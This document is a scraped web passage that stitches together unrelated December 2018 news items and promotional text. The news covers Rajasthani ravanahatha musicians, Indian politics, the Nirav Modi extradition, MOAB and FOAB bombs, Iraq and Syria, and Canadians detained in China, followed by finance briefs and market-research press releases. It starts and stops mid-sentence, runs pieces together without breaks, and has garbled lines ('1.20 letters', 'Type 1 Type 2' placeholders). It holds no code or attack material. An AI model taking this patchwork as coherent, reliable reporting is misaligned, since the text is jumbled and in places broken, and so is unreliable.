it, play it]," Shanti tells her grandson though the latter does it without much enthusiasm. "The boy's [Amarjeet's] grandfather is very good at playing the ravanahatha, but he is sick today so could not make it. We have always played this instrument and sung songs too. But my grandson does not like [to play] it. These days, they say children should study. So he goes to the school [in our village]," PARI quoted the woman as saying. People like Shanti and Amarjeet get some money from tourists who get down from their vehicles while passing by or walking nearby to stop and listen to their music. The mention of 'ravanahatha' is there in Ramayana. It is said that Ravana made the instrument with one of his 10 heads, arm and some of his own hair. It was Hanuman who then brought it to India from Lanka. The PARI report also mentioned about Sri Lankan composer and violinist Dinesh Subasinghe who is reportedly working on reviving the instrument. Christmas 2018: Why and how do we celebrate Christmas Rajasthan is home to folk musicians who play the 'ravanahatha' and Shanti's family is one among them. They hail from the state's Nagaur district and they go to Himachal Pradesh every year in April-May when there is not much work at home. They reach Dharamshala via Jodhpur and Bathinda (Punjab) and it costs them Rs 300 one way for this trip. They get a room for a monthly rent of Rs 2,500 in Dharamsala and cook their food. They earn between Rs 400-500 on a given day by playing music. They play Hindi songs and break up in groups to perform at various locations to increase their overall income. TN CM Stalin felicitates woman cop who carried unconscious man on shoulders and saved his life TN: Actor Vishal detained in Chennai for trying to break into Producers Council's office India oi-Madhuri Adnal Chennai, Dec 20: Actor Vishal detained in Chennai for allegedly trying to break into Tamil Film Producers Council's office which he heads. A group of 300 film producers had locked the office demanding his resignation alleging he was involved in criminal activities. Vishal, who had an argument with the police who blocked him from opening the office, told reporters, "I have not done any mistake. They are not allowing me to go inside my office. If we ask questions, they are arresting us. This is unbelievable". Vishal, who also heads the South India Artistes Association, nurtures political ambitions. Last year, his hopes of contesting in the by-elections in Chennai's RK Nagar, which was earlier represented by J Jayalalithaa, came crashing down after his nomination was rejected. Recently, he hinted at contesting the by-elections in Madurai's Tiruparangundram whenever the dates are announced. To get Nirav Modi back to India, how the MEA is going all out India oi-Vicky Nanjappa New Delhi, Dec 20: The Ministry of External Affairs has approached the United Arab Emirates seeking the extradition of Nirav Modi, a prime accused in the PNB scam. The request is in addition to the one made with the United Kingdom as well. The MEA has also sought the extradition of Modi's brother Neeshal Modi and his close aide Subhash Shankar Parab. Two separate requests have also been sent out to Belgium and Egypt to extradite Neeshal and Parab. Minister of State for External Affairs, V K Singh informed the Lok Sabha that extradition requests for all three were sent to the UAE in the month of August. He also said that a separate request for extradition of Neeshal had been sent to Belgium in October 2018 and another one in the case of Parab was forwarded to the Egyptian government in the same month. Can't return to India, scared of mob lynching: Nirav Modi's mail to ED India has had a good track record when it comes to extraditions from the UAE. Since 2002, 66 persons have been extradited from various countries of which the UAE alone has sent 18, the most recent one being James Christian Michel. However, with the UK, India has had not much success. There have been 29 requests made since 2002, but only one has been extradited. The only one to be brought back was Samirbhai Vinubhai Patel, an accused in the Gujarat riots case. The track record with the UK is bad despite the existence of a bilateral extradition treaty. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 9:38 [IST] UP BJP gears up for crucial 2019 Lok Sabha elections with a slew of measures lined up India oi-Vinod Kumar Shukla New Delhi, Dec 20: The Bharatiya Janata Party (BJP) has taken almost certain alliance of the Samajwadi Party (SP) and Bahujan Samaj Party (BSP) and victory of the Congress in Rajasthan, Madhya Pradesh and Chhattisgarh very seriously. Actually the BJP has started preparing at the ground level to repeat its 2014 performance which seems little difficult. In one such efforts, the party is planning to organise the conference of chief of booths of the party of all the six regions in which the Uttar Pradesh is divided for the purposes of organisation. Party president Amit Shah will give them the victory mantra in this meeting of booth pramukh. NDA 'deserter' Kushwaha to meet Rahul and Tejashwi today; Likely to join Bihar Mahagathbandhan In the meeting of office bearer of the state BJP, presidents of state BJP morcha, organising secretary and in-charge of different units of the party participated in which many decisions have been taken. The meeting was headed by state BJP president Mahendra Nath Pandey and state party organising secretary Sunil Bansal told the party leaders about the strategy of the party. The BJP leadership has also evaluated past schemes of the party. Mahendra Nath Pandey said that the party will organise a conference of booth chiefs of the party of all the six regions of the state. This might take anytime between January 15 and February 10. The party also plans to celebrate birthday of former Prime Minister Atal Bihari Vajpayee on December 25 as Sushashan Day (Good Governance) and the former PM will be paid homage at the booth level. The BJP also plans to organise conference of sector conveners on all 18 commissionaires in the state. In these conferences, central leadership, Union ministers and chief ministers of the BJP-ruled states will participate. The party also has plans to organise conferences for cooperatives, teachers, lawyers and traders cell between December 20 to January 10. Intellectual conference at commissionaires level, media workshop at regional level and many regional meetings will also take place. Bringing out a motorbike rally in every Assembly was also discussed. It was also talked about that 36 offices of the BJP at district level will be inaugurated and its date will be announced once programme is finalised by the party president. It is composed Congress verses jittery BJP for now as countdown begins for 2019 The party had planned to organise Kamal Vikas Jyoti Yatra from January 26 to reach out to beneficiaries of schemes of the Centre and the state but there is slight change in the programme. Kamal Vikas Jyoti Campaign will be organised in February and Kamal Vikas Jyoti Yatra will be organised from February 26, 2019. In the stock taking, this has emerged that on the 150th birth anniversary of Mahatma Gandhi, the BJP workers organised 62695 yatras and organised chaupal in 6120 villages. Around 1.20 letters about the benefits provided by the state government and the Centre have been handed over by visiting people directly. With the help of Mahila Morcha of the party, the party has been able to contact 50 lakh women. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 10:28 [IST] US has Mother of all Bombs; Who has the father? India oi-Vikas SV New Delhi, Dec 20: Both the United States and Russia have developed highly destructive weapons, bombs and missiles that can wreak havoc if used. Whether missiles, nuclear warheads or bombs, both nations often compete with each other to produce most destructive weapons. When it comes to bombs, it debatable as to which nation possesses most destructive non-nuclear bomb. The United States in April last year dropped one of the most powerful non-nuclear bomb in eastern Afghanistan to destroy Islamic State hideouts. The GBU-43 or the Massive Ordinance Air Blast is undoubtedly one of the most power conventional weapons because of its sheer destructive power. The weapon, also known as 'Mother of all Bombs', weighs 21,600 pounds and costs around 16 million dollars. What is the Indian equivalent to American 'MOAB'? It is interesting to note that there is also a 'Father of All Bombs', which is a Russian answer to the MOAB. Aviation Thermobaric Bomb of Increased Power developed by Russia is reportedly capable of unleashing 44 tonnes of explosives. Also known as FOAB, the Russian bomb was successfully tested in 2007, four years after US tested MOAB. Reports claim that Russia's FOAB is four times more powerful than US' MOAB. The blast radius of the FOAB is 300 meters, almost double that of the MOAB, and the temperature produced is twice as high. The bomb is reportedly similar to the US military's GBU-43/B Massive Ordnance Air Blast which is often unofficially called "Mother of All Bombs" derived from its official military acronym "MOAB". This weapon would therefore be the most powerful conventional (non-nuclear) weapon in the world. However, the veracity of Russia's claims concerning the weapon's size and power have been questioned by US defense analysts. The thermobaric device yields the equivalent of 44 tons of TNT using about seven tons of a new type of high explosive. Because of this, the bomb's blast and pressure wave have a similar effect to a small tactical nuclear weapon. The bomb works by detonating in mid-air. Most damage is inflicted by a supersonic shockwave and extremely high temperatures. Thermobaric weapons differ from conventional explosive weapons in that they generate a longer, more sustained blast wave with greater temperatures. In doing so, they produce more damage over a larger area than a conventional weapon of similar mass. Kolkata cops bust gang that ran fake Amazon call centre; at least 22 arrested Businessman in Kolkata shot at after his car was stopped by 18 men West Bengal Class 10, 12 exams to be held in offline mode in March, April CBI arrests senior journalist Suman Chatterjee in chit fund case India oi-Chennabasaveshwar P Kolkata, Dec 20: The CBI has arrested senior journalist Suman Chattopadhyay for his alleged involvement in a chit fund scam in West Bengal, officials said Thursday. Reportedly the CBI arrested him on account of non-cooperation and hiding information. It has been reported that, a private investing company was involved with his edited newspaper. Previously, he was interrogated several times in connection to the incident. He was called to the probe agency's Kolkata office for questioning where he was taken into custody, they said. A look out circular was also issued against him, they said. Shiv Sena chief Uddhav Thackeray There is pressure within the BJP to construct the Ram temple in Ayodhya, but when will "achhe din" (good days) come for Lord Ram, the Sena asked. "Shree (Mohan) Bhagwat, while citing the Bhagavad Gita says what is the use of the arrogance (by saying) what 'I' do is the best. 'I' did this. He has given a guiding principle for the BJP," the Uddhav Thackeray-led party said. "But what is the use? This government, like Kumbhakarna (the demon king Ravana's brother known for sleeping for months at a stretch), is not ready to wake up even after humiliating defeats in three states," the Sena said in an editorial in party mouthpiece 'Saamana'. No public meeting for Shiv Sena in Ayodhya Shiv Sena is BJP's oldest ally The BJP recently lost power to the Congress in the three electorally important states of Rajasthan, Madhya Pradesh and Chhattisgarh. The Sena said the whole country wanted the temple to be built and that was the reason it voted for the BJP in 2014. "However, as the issue too became another 'jumla' for the party, its journey for 'wapsi' (ouster from power) has begun," the party said. "When will achhe din come for Lord Ram, who is living in an open tent for the last 25 years while those in power are warming their seats," it said in sarcastic remarks. BJP Chief Amit Shah However, on Wednesday, speaking at an event organised by the Republic TV, BJP Chief Amit Shah said "If the Supreme Court conducts daily hearings of the Babri demolition case, it will not take more than 10 days to get a verdict." "Ayodhya is a title issue. The BJP clearly states that we want to build a temple on the same site. The case was pending before the SC much before 2014. We have requested the court to clear the case and complete its hearings at the earliest," Shah had said. The Sena claimed there was a lot of pressure within the BJP to construct the Ram temple. Questions over its construction are being raised in every meeting of the party but its high command has "no answers". Ram Temple: Shiv Sena's Hindutva masterstroke to corner BJP "Internally, the party has become restless as the rulers do not have a proper plan," the Marathi daily claimed. The Sena, an ally of the BJP at the Centre and in Maharashtra, also demanded that cases against those who demolished the Babri mosque be withdrawn. "Leave aside bringing an ordinance for Ram temple. You have not even taken back cases against those who demolished the Babri Masjid. Now that the presidential elections are long over and Lal Krishna Advani isn't going to be the president, dissolve the Babri court," the Sena demanded. The Supreme Court Advani was widely tipped as a front-runner for the post of President in July 2017 before a Supreme Court ruling in April that year on the Babri Masjid demolition case effectively ruled him out of the race. On April 19, 2017, the Supreme Court had said BJP stalwarts Advani, M M Joshi and Uma Bharti would be prosecuted for serious offence of criminal conspiracy in the politically-sensitive 1992 Babri Masjid demolition case and had ordered day-to-day hearing and trial concluded in two years. OneIndia News with PTI inputs Days before Trump announced Syria withdrawal, a sinister report came out on IS in Iraq International oi-Shubham Ghosh Baghdad, Dec 20: A day before US President Donald Trump came up with a sudden claim of defeating the Islamic State (IS) and that being a reason for withdrawing troops from Syria, a report by Pulitzer Center on Crisis Reporting, Washington said the revenge campaign carried out by Iraq's Shiite-dominated government against the Sunni Arabs in the regions that were once controlled by the IS is bolstering Islamists and could lead to another rebellion in the country. In 2014, when the ISIL (Islamic State of Iraq and Syria) or IS subsequently saw a sharp rise, it was largely because of the conviction among the Iraqi Sunnis that they were second-class citizens in Iraq which is dominated by the Shiites. The IS appealed to the Iraqi Sunnis as efficient and trustworthy which was in sharp contrast with the image of the politicians in Iraq who were perceived to be corrupt and inefficient (something similar had happened in Afghanistan with the Taliban as well). This saw the IS gaining popular support among Iraq's Sunni Arabs and it almost took over Baghdad in 2015. Syria: Trump is not withdrawing troops but surrendering to a lot of players, says security expert The IS was later defeated by the government forces in Iraq subsequently but things look to be going back to square one now with the Shiite-dominated government and its agencies resorting to revenge campaign in areas that were once dominated by the IS, resulting in human rights violations against the Sunnis who they suspect as supporters of the terror outfit. This, as per the Pulitzer report, is giving impetus to the Islamist propaganda and a new wave of rebellion against the government in Baghdad. The report has also said that the Iraqi government as of now is clueless on how to convince the country's Sunni Arabs who are upset. It said the revenge campaign in taking place throughout western Iraq, where "hundreds of thousands of civilians are suffering at the hands of their liberators". The campaign has not only seen people, regardless of sex and age, perceived to have supported the IS previously are either killed or sent to concentration camps. People who haven't fled the IS are seen with suspicion and even men sporting beard are considered IS sympathisers. Most people are executed or imprisoned while only a few are held in court and even in those trials, the conviction rate is as high as 98 per cent. United States is considering a total withdrawal of its forces from Syria It is "not uncommon for relatives [of accused ISIS supporters] to be rounded up by the security forces and sent to remote desert camps, where they are denied food, medical services, and access to documents", the report added. The brutality is only encouraging Jihad since the Sunni Arabs are now convinced that they can not live safely under a Shitte-dominated government. This could soon snowball into yet another wave of terrorism which Trump thinks the West has defeated. Syria: Trump is not withdrawing troops but surrendering to a lot of players, says security expert International oi-Shubham Ghosh Washington, Dec 19: US President Donald Trump's decision to withdraw American troops from Syria has led to severe criticism. It's not just his Republican colleagues who have slammed the move but also analysts who did not find any merit in it. CNN national security analyst Samantha Vinograd on Wednesday, December 19, even went to the extreme of blasting Trump's decision to withdraw troops as a "surrender" to Russia, Iran, Turkey, Bashar al-Assad, the dictator of Syria, and also to the terror groups who she felt would utilise this opportunity to see their resurgence. United States is considering a total withdrawal of its forces from Syria "I would not call this withdrawal, I would call this a surrender. The president's decision is surrendering obviously to Russian, Iranian, Turkish, and Assad's own designs in Syria. But it's also surrendering to the very strong likelihood that ISIS or other terrorist groups will be resurgent in Syria based upon his decision," Vindograd, who has spent a year in Iraq and participated in several troop previews. She said winning against terrorists on the battlefield was only the first step in a counter-terrorism strategy and keeping forces on the ground to hold on to the gains was more critical for a long-term counter-terrorism strategy. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 7:22 [IST] UN food programme to cut aid to poor Palestinians as US slashes funding International oi-Shubham Ghosh United Nations, Dec 19: Come January 1 and the United Nations World Food Programme (WFP) will cut its aid to nearly 2 lakh Palestinians in the Gaza Strip and the occupied West Bank. The reason is shortage of funds and more specifically, because of slashing of American aid funding under the Donald Trump Administration to humanitarian agencies working in those areas. "WFP has been forced, unfortunately, to make drastic cuts to the number of people that we support across Palestine, both in Gaza and the West Bank," WFP country director Stephen Kearney was quoted as saying in Jerusalem by Reuters. He also said that the US's slashing of the funds affected as much as 40 per cent of the WFP's funding. Poor and hungry: 124 million people in 51 countries faced food crisis in 2017, says UN In a statement, the WFP said it was concerned that these cuts will have a major adverse effect on food security, livelihood and the welfare of the people it catered to in Palestine, Al Jazeera reported. Kearney also said, as per Reuters, that the US has not only cut funding for UNRWA (UN Relief and Works Agency for Palestine Refugees in the Near East but also for humanitarian agencies like WFP. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 7:14 [IST] (CNN) A third Canadian citizen has been detained in China, Prime Minister Justin Trudeau confirmed, but he denied it was linked to the arrest of a Chinese executive in Vancouver this month. Speaking to reporters Wednesday, Trudeau said he was taking the matter "extremely seriously" but the detention was more "routine" than two earlier cases. "We are still very much in the situation of collecting more information on this and I wouldn't want to say anymore than that," he added. Canada's Global Affairs department told CNN it was providing assistance to the third detainee's family but couldn't release any more information around their identity. The two other Canadians detained in China have been identified as Michael Kovrig, a former Canadian diplomat now working for a non-profit organization, and Michael Spavor, a businessman. Those detentions were seen by many as retaliation for Canada's December 1 arrest of Meng Wanzhou, the chief financial officer of Chinese technology giant Huawei, at the request of the US over alleged violations of Iran sanctions. There has been no official confirmation the detentions were linked to Meng's case but the Chinese government has made clear its anger at her arrest, with numerous furious editorials in state-run media. On Monday, Chinese Foreign Ministry spokeswoman Hua Chunying urged Canada to "immediately rectify its mistakes" and release Meng. "No matter what ridiculous pretexts they come up with, covering up under the appearance of being legitimate cannot cover up their ignorance for the real facts and their contempt for the rule of law, and people around the world are ridiculing them for this," she told reporters. Speaking Wednesday, Trudeau said Canadian officials were working with their Chinese counterparts on the previous two detentions. "We are going to continue to defend them, to stand up for them, to ask for more information on the charges being brought forward (and) the reasons for detention," Trudeau said. Meng was released on bail on December 11 and is waiting in Vancouver for the next stage of her trial, which could see her extradited to the US. When asked on Wednesday about the third detainee, Hua said she had no information on the topic. "I'm not aware of the incident you mentioned, I haven't heard of that," she said. The Bougainville Government has asked the National Airports Corporation for time to address law and order issues that could lead to the indefinite closure of Buka Airport.Bougainville Chief Secretary Joseph Nobetau was served the seven-day notice last Friday over issues relating to airport security, and law and order, including thefts airport fencing materials and an unwillingness by former landowners to allow the fencing to proceed.Nobetau said that it was in the peoples interest not to close the airport tomorrow as planned and he had appealed to the landowners and stakeholders to adhere to meetings called forthwith.Last night, a meeting attended by Bougainville vice-president Raymond Masono, Minister for Police Willie Masiu, Minister for Peace Albert Punhau, Minister for Finance, Minister for Public Service Robert Hamal Sawa, member for Tsitalato Fidelis Semoso and the chairman of North Veterans Peter Barik who resolved the issues of car hijacking and law and order at the airport.The NAC had told Nobetau in its letter last week that the lifting of the impending closure would depend on the Bougainville Government resolving the law and order issues with the former landowners.North Veterans head Damien Kora said last night they had addressed these issues and agreed that there would be no more protests to the National Government. He also said that they had cleared the service providers issues would pave way for law and order to be addressed amicably.There were plans to lock Bougainville President John Momis, Vice President Raymond Masono, Chief Secretary Joseph Nebetau and two other officers at midnight last night but the plans were later aborted following the satisfactory meeting between the veterans and the Bougainville Government leadership.A team had been set up to address also the issues highlighted by National Airports Corporation and had been in constant communication with the NAC headquarters.SOURCE: POST COURIER/PACNEWS Bailey McCann, Opalesque New York: GreenOak Real Estate and Bentall Kennedy, Sun Life Financial's North American real estate and property management firm have formed a new joint venture. The combined Bentall Kennedy and GreenOak entity will be named Bentall GreenOak and will be part of Sun Life Investment Management. Bentall GreenOak will remain a key strategic investment of TFG Asset Management, the investment arm of Tetragon Financial Group. TFG Asset Management takes minority and majority stakes in asset management companies. As part of the transaction, Sun Life will have an option to acquire the remaining interest in Bentall GreenOak approximately seven years from the closing. The combined Bentall GreenOak investment platform will serve over 700 institutional clients with approximately $47 billion in assets under management. Bentall GreenOak will offer a broad range of real estate investment strategies that include Core, Core Plus and Value Add/Opportunistic equity, as well as senior and tactical real estate debt strategies. Sun Life Financial will contribute its interest in Bentall Kennedy and pay GreenOak shareholders $146 million in cash in exchange for a 56% interest in the combined entity of Bentall GreenOak. The transaction values Bentall GreenOak at $940 million. In an interview with Opalesque, Stephen Prince, Head of TFG Asset Management said that the deal was partly driven by growing institutional investor interest in finding single man...................... To view our full article Click here Laxman Pai, Opalesque Asia: Layer1, a cryptocurrency investment firm, announced that it has received $2.1m in seed funding from, amongst other people, PayPal Co-Founder Peter Thiel. The San Francisco-based company claims to have an executive team with wide-ranging experience across the tech sector including Google and Facebook and financial services industries. Using that experience, Layer1 aims to create the "crypto investment company of the future" The firm's model has attracted big-ticket investors, including tech billionaire Peter Thiel, who joined Digital Currency Group (DCG) in backing the firm in the closing of its $2.1 million seed round, claims the company. Led by co-founder Alexander Liegl, Layer1 takes a long-term position in cryptoassets with promising technologies and network effects, then deploys capital and resources in order to improve their fundamental value and support market adoption. The company has a focus on programmable money and store-of-value applications, which it believes has the potential for true value creation. "Layer1 takes concentrated bets on promising blockchain protocols and builds critical technology to support their global impact. Layer1's prominent investors affirm this approach with their participation in the company's funding," said a press release from the company. "We believe that the crypto investment company of the future will look radically different to status quo, with a clear focus on an engineering-first an...................... To view our full article Click here APAC Self-Monitoring Blood Glucose Devices Market to rise at 6.1% CAGR by 2024: Medtronic, Nipro Diagnostics, Nova Biomedical, Sinocare and Trividia Health Asia Pacific Self-Monitoring Blood Glucose Devices Market https://www.graphicalresearch.com/request/1013/sample https://www.graphicalresearch.com/industry-insights/1013/asia-pacific-self-monitoring-blood-glucose-devices-market https://www.graphicalresearch.com/request/1013/inquiry-before-buying https://www.graphicalresearch.com/industry-insights/1021/north-america-self-monitoring-blood-glucose-devices-market https://www.graphicalresearch.com/industry-insights/1020/europe-self-monitoring-blood-glucose-devices-market https://www.graphicalresearch.com/ Asia Pacific Self-Monitoring Blood Glucose Devices Market analysis based on Product, End-User, Industry Analysis Report, Regional Outlook, End-User Potential, Competitive Market Share & Forecast, 2018 2024 by Graphical Research.APAC SMBG Devices Market size is set to surpass USD 4 billion by 2024. Rising prevalence of obesity in highly populated countries such as India and China will be a major factor that will drive the self-monitoring blood glucose devices market during the forecast period. Increasing cases of obesity leading to type II diabetes will increase the demand for SMBG devices in the region. Growing geriatric population base will further act as primary driver for growth of Asia Pacific self-monitoring blood glucose devices market during the forecast period.Request for a sample of this research report -Several efforts undertaken by government and other organizations to increase awareness pertaining to diabetes management will accelerate SMBG devices market growth. National Program for Prevention and Control of Diabetes organized by Ministry of Health and Family Welfare, Diabetes Foundation of India and International Diabetes Federation (IDF) Diabetes Program focusing on reducing the burden of prediabetes by providing appropriate diabetes education to patients as well as healthcare providers will escalate the adoption of SMBG devices, thereby propelling industry growth.Advancements in technology to develop novel glucose monitoring devices coupled with availability of portable, user-friendly and accurate SMBG devices will increase the adoption of such advanced devices. However, prohibitive costs associated with self-monitoring blood glucose devices and their accessories may hinder industry expansion in the foreseeable future. Stringent regulations and poor reimbursement scenario should impede the industry growth in near future.Continuous glucose monitors segment is estimated to witness lucrative growth of 6.8% during the forecast period. Demand for continuous glucose monitoring devices is high in patients that require continuous monitoring. CGM systems monitor blood glucose levels every 5 minutes or at frequent intervals. Increasing adoption of such devices in ICU patients or in hospital settings will foster the segmental growth during the forecast period.Browse key industry insights from this 2018 report @Hospitals segment accounted for USD 1.3 billion in 2017 and is anticipated to show significant growth over the analysis timeframe. The growth is attributable to the increasing incidence of hypo and hyperglycemia among patients. Ability of hospitals to buy advanced and costly devices, well-developed infrastructure as well as availability of skilled technicians will further drive segmental growth in the coming years.China self-monitoring blood glucose devices market accounted for USD 743.3 million revenue in 2017 and is estimated to witness robust growth over the forecast period. China being highly populous country comprises of large population base suffering from diabetes. Increasing prevalence of diabetes as well as growing elderly population will augment industry growth over the analysis timeframe.Some of the notable players operating in Asia Pacific self-monitoring blood glucose devices market include Abbott Laboratories, All Medicus, Arkray, B. Braun Melsungen AG, Bayer Healthcare, Bionime Corporation, Dexcom, F. Hoffmann-La Roche, Johnson & Johnson, LifeScan, Medtronic, Nipro Diagnostics, Nova Biomedical, Sinocare and Trividia Health. Market players are focusing on new product development, acquisitions and mergers to broaden product portfolio as well as widen companys customer base.Make an inquiry for purchasing this report @Segments We Cover:Asia Pacific Self-Monitoring Blood Glucose Devices Market Statistics, by ProductSelf-monitoring blood glucose meters, Continuous glucose monitors, Testing strips, LancetsAsia Pacific Self-Monitoring Blood Glucose Devices Market Trends, By End-userHospitals, Home settings, Diagnostic centers and clinicsThe above information is provided for the following countries:China, Japan, India, Australia, South Korea, Malaysia, Indonesia, Thailand, Singapore, Taiwan, Philippines, Vietnam, OthersRelated Reports:1. North America Self-Monitoring Blood Glucose Devices Market Size by Product (Self-Monitoring Blood Glucose Meters, Continuous Glucose Monitors, Testing Strips, Lancets), By End-User (Hospitals, Home Settings, Diagnostic Centers & Clinics), Industry Analysis Report, Regional Outlook (U.S., Canada), End-User Potential, Competitive Market Share & Forecast, 2018 20242. Europe Self-Monitoring Blood Glucose Devices Market Size by Product (Self-Monitoring Blood Glucose Meters, Continuous Glucose Monitors, Testing Strips, Lancets), By End-User (Hospitals, Home Settings, Diagnostic Centers & Clinics), Industry Analysis Report, Regional Outlook (Germany, UK, France, Spain, Italy, Russia, Ukraine, Poland, Switzerland, Belgium, Greece, Czech Republic, Netherlands, Sweden), End-User Potential, Competitive Market Share & Forecast, 2018 2024About Graphical Research:Graphical Research is a business research firm that provides industry insights, market forecast and strategic inputs through granular research reports and advisory services. We publish targeted research reports with an aim to address varied customer needs, from market penetration and entry strategies to portfolio management and strategic outlook. We understand that business requirements are unique: our syndicate reports are designed to ensure relevance for industry participants across the value chain. We also provide custom reports that are tailored to the exact needs of the customer, with dedicated analyst support across the purchase lifecycle.Contact Us:Parikhit B.Corporate sales,Graphical ResearchEmail: sales@graphicalresearh.comWeb: North America Flexographic Printing Inks Market Forecast & Major Industry Participants includes INX International Ink Co., Wikoff Color Corporation, ALTANA AG, Sun Chemical and Toyo Ink America, LLC North America Flexographic Printing Inks Market https://www.graphicalresearch.com/request/1095/sample https://www.graphicalresearch.com/industry-insights/1095/north-america-flexographic-printing-inks-market https://www.graphicalresearch.com/request/1095/inquiry-before-buying https://www.graphicalresearch.com/industry-insights/1028/latin-america-bitumen-market https://www.graphicalresearch.com/industry-insights/1029/north-america-controlled-release-fertilizers-market https://www.graphicalresearch.com/ Graphical Research: North America Flexographic Printing Inks Market analysis based on Product, Application, Industry Analysis Report, Regional Outlook, Growth Potential, Competitive Market Share & Forecast, 2018 2024, Estimated to reach USD 3 billion by 2024Request for a sample of this research report -Increasing demand for flexographic printing inks in cosmetic packaging has been driving the market. Rising usage of cosmetic products among self-conscious population is propelling the packaging industry. For instance, U.S. cosmetic export in 2015 was over USD 2.0 billion in Asia Pacific countries such as Hong Kong, Japan, Korea, China, Malaysia, Vietnam, Thailand and Philippines. U.S. cosmetic export to China in 2015 was over USD 500 million further export had increased as much as 62% in recent years among high potential markets such as Indonesia, China and Vietnam. Growing U.S. cosmetic export increases the usage of packaging materials accelerating the flexographic printing inks application in cosmetic industry.The market growth is hindered by stringent government regulation on plastic packaging materials. Few of the government agency such as EPA and FDA have implemented regulation limiting the applications of plastic packaging which may hinder market growth over the forecast timeframe.U.S. has been one of the leading market of the industry, increasing usage of packaged food products in the region will substantially grow the market. Flexible packaging market has significant CAGR, the segment is likely to grow due to rise in consumption of beverage products. For instance, in 2017 acscan.org report, American Cancer Society stated that about 50% of the population consumes sugary drinks. Such trends exhibit that North America flexographic printing inks market have brighter scope in beverage packaging industry.Browse key industry insights from this 2018 report North America Flexographic Printing Inks Market in detail along with the table of contents at:Leading players present in the market are INX International Corporation, Wikoff Color Corporation, Sun Chemical Corporation, etc. Small and medium scale market players are also present in the industry which significantly contributes toward market share.Segments We Cover:North America Flexographic Printing Inks Market by ProductWater-based inksSolvent-based inksUV-cured inksNorth America Flexographic Printing Inks Market by ApplicationPackagingOthersThe above information is provided on a regional and country basis for the following:U.S.CanadaMake an inquiry for purchasing this report @Related Reports:1. Latin America Bitumen Market Size by Product (Paving, Oxidized, Cutback, Emulsion, Polymer Modified), By Application (Roadways, Waterproofing, Adhesives, Insulation), Industry Analysis Report, Regional Outlook (Brazil, Mexico, Colombia, Argentina, Peru, Venezuela, Chile), Growth Potential, Price Trend, Competitive Market Share & Forecast, 2018 20242. North America Controlled Release Fertilizers Market Size By Crop (Cereals & Grains, Oilseeds & Pulses, Fruits & Vegetables), By Product (Polymer Sulfur Coated Urea/Sulfur Coated Urea, Polymer Coated Urea, Polymer Coated NPK), Regional Outlook (U.S. Canada), Industry Analysis Report, Application Development Potential, Price Trends, Competitive Market Share & Forecast, 2018 2024About Graphical Research:Graphical Research is a business research firm that provides industry insights, market forecast and strategic inputs through granular research reports and advisory services. We publish targeted research reports with an aim to address varied customer needs, from market penetration and entry strategies to portfolio management and strategic outlook. We understand that business requirements are unique: our syndicate reports are designed to ensure relevance for industry participants across the value chain. We also provide custom reports that are tailored to the exact needs of the customer, with dedicated analyst support across the purchase lifecycle.Contact Us:Parikhit B.Corporate sales,Graphical ResearchEmail: sales@graphicalresearh.comWeb: Global Film Cameras Market 2018: Technology, Future Trends, Top Key Players- Nikon, CONTAX, Hasselblad, Rollei, Lomography, Canon, Leica, Olympus, Mamiya, Kodak, Konica Minolta, Pentax, Polaroid and more... Film Cameras Market https://www.reportsmonitor.com/request_sample/250191 https://www.reportsmonitor.com/check_discount/250191 https://www.reportsmonitor.com/report/250191/Film-Cameras-Market Film Cameras MarketSummary:The Global Film Cameras Market is an emerging market at present years. Technological advancement, Current market Trends has been covered in this Market Research Report over a given forecast period. The Global Film Cameras Market report includes PEST analysis, Porters five forces analysis, as well as opportunity map analysis, for a thorough understanding of the market.Go for Sample Copy of Global Film Cameras Market Report & Get 30 Min Free Consultation!Furthermore, the Film Cameras report offers insightful and comprehensive information regarding the various players functioning in the global Film Cameras market, along with their revenue details, key developments, technological advancements, SWOT analysis, mergers & acquisitions, future strategies, and market footprint. The Global market has been Classified on the basis of product types, Applications, Technologies, individuals, and geographical regions.Major Players in Film Cameras market are:Nikon, CONTAX, Hasselblad, Rollei, Lomography, Canon, Leica, Olympus, Mamiya, Kodak, Konica Minolta, Pentax, Polaroid, Holga, FujifilmMost important types of Film Cameras products covered in this report are:Type 1Type 2Type 3Type 4Type 5Most widely used downstream fields of Film Cameras market covered in this report are:Application 1Application 2Application 3Application 4Application 5This Report has been analysed on the basis of various aspects of the market resources available. In Film Cameras market, primary and secondary Methodologies has been applied for the data & information collection. Furthermore, an in-house contemplate has been made of the worldwide financial conditions and other monetary pointers and variables to assess their separate effect available, alongside the present effect, to make key and educated conjectures about the situations in the market.The Global Film Cameras Market is defined by the presence of some of the leading competitors operating in the market, including the well-established players and new entrants, and the suppliers, vendors, and distributors. The key players are ceaselessly center around expanding Geographic reach and broaden their client base, so as to extend their item portfolio and think of new progressions. The Film Cameras Market report also analyzes the development proposals and the feasibility of new investments.Get Up-to 50% Discount for this reportKey Insights:Complete in-depth analysis of the Film CamerasImportant changes in market dynamics.Segmentation analysis of the market.Emerging segments and regional markets.Assessment of niche industry players.Market share analysis.Key strategies of major players.View Complete Film Cameras Market Report with TOC, Tables, and FiguresAbout US:Reports Monitor is a Market Research Firm which is engaged in data analytics and aids clients in due-diligence, product expansion, plant setup, acquisition intelligence to all the other gamut of objectives through our research focus.Contact UsJay MatthewsDirect: +1 513 549-5911 (U.S.)+44 203 318 2848 (U.K.)Email: sales@reportsmonitor.com Cognitive Systems Market 2024 | Microsoft Corporation, IBM Corporation, Google Inc., Symantec Corporation, Palantir Technologies, Inc., Recommind, Inc.and OpenText Corporation etc. https://www.researchreportinsights.com/report/upsample/120124609/Cognitive-Systems-Market https://www.researchreportinsights.com/report/TOC/120124609/Cognitive-Systems-Market https://www.researchreportinsights.com/report/upcomming/120124609/Cognitive-Systems-Market https://www.researchreportinsights.com Natural language processing (NLP) is a major element of artificial intelligence (AI) for advanced communicating with intelligent systems with the help of natural language. It aids computers in responding and reading by mimicking the human capability to recognise the day-to-day language that they adopt to communicate. Today, without natural language processing, AI can only answer simple questions and understand the meaning of language, but will not able to recognise the significance of words in framework. Natural language processing applications permits users to connect with a computer in their own words.DriversWith increasing usage of internet, computers, smart phones and many other personal devices, the requirement for machine and human level communication has increased. Everybody from enterprise to individual users nowadays need machines that can respond to their questions, support them in their daily basis operations and also make their life organized and easier. This demand has given rise to increased demand for natural language processing technology which is now being quickly commercialized. Natural language processing technology is the most adoptable technology for cognitive systems due to its easy and advanced language conversation process and which boosts the growth of Cognitive 